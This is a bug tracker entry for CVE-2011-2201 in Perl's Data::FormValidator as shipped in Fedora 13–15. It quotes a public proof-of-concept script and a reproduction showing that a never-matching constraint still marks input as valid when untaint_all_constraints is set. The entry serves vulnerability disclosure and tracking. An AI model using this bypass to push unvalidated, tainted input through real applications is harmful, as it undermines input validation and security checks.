Bug 712694 (CVE-2011-2201)

This issue affect the versions of the perl-Data-FormValidator package, as
shipped with Fedora release of 13, 14, and 15. Please schedule an update
(once final upstream patch known / ready).

CVE Request:
[3] http://www.openwall.com/lists/oss-security/2011/06/12/3

Public PoC (from [2]):
======================

#!/opt/perl/5.12/bin/perl

use strict;
use warnings;

use Data::FormValidator;

"some_unrelated_string" =~ m/^.*$/;

my $profile = {
untaint_all_constraints => 1,
required => [qw(a)],
constraint_methods => {
a => qr/will_never_match/,
},
};

my $results = Data::FormValidator->check({ a => 1 }, $profile);
warn $results->valid('a');

Have tried on my F-15 machine (perl-Data-FormValidator-4.66-4.fc15.noarch)
as:

$ cat test.pl 
#!/usr/bin/perl -w
use strict;
use warnings;
use Data::Dumper;

use Data::FormValidator;

"some_unrelated_string" =~ m/^.*$/;

my $profile = {
untaint_all_constraints => 1,
required => [qw(a)],
constraint_methods => {
a => qr/will_never_match/,
},
};

my $results = Data::FormValidator->check({ a => 1 }, $profile);
print $results->valid,"\n";

and 'a' is reported as being valid.
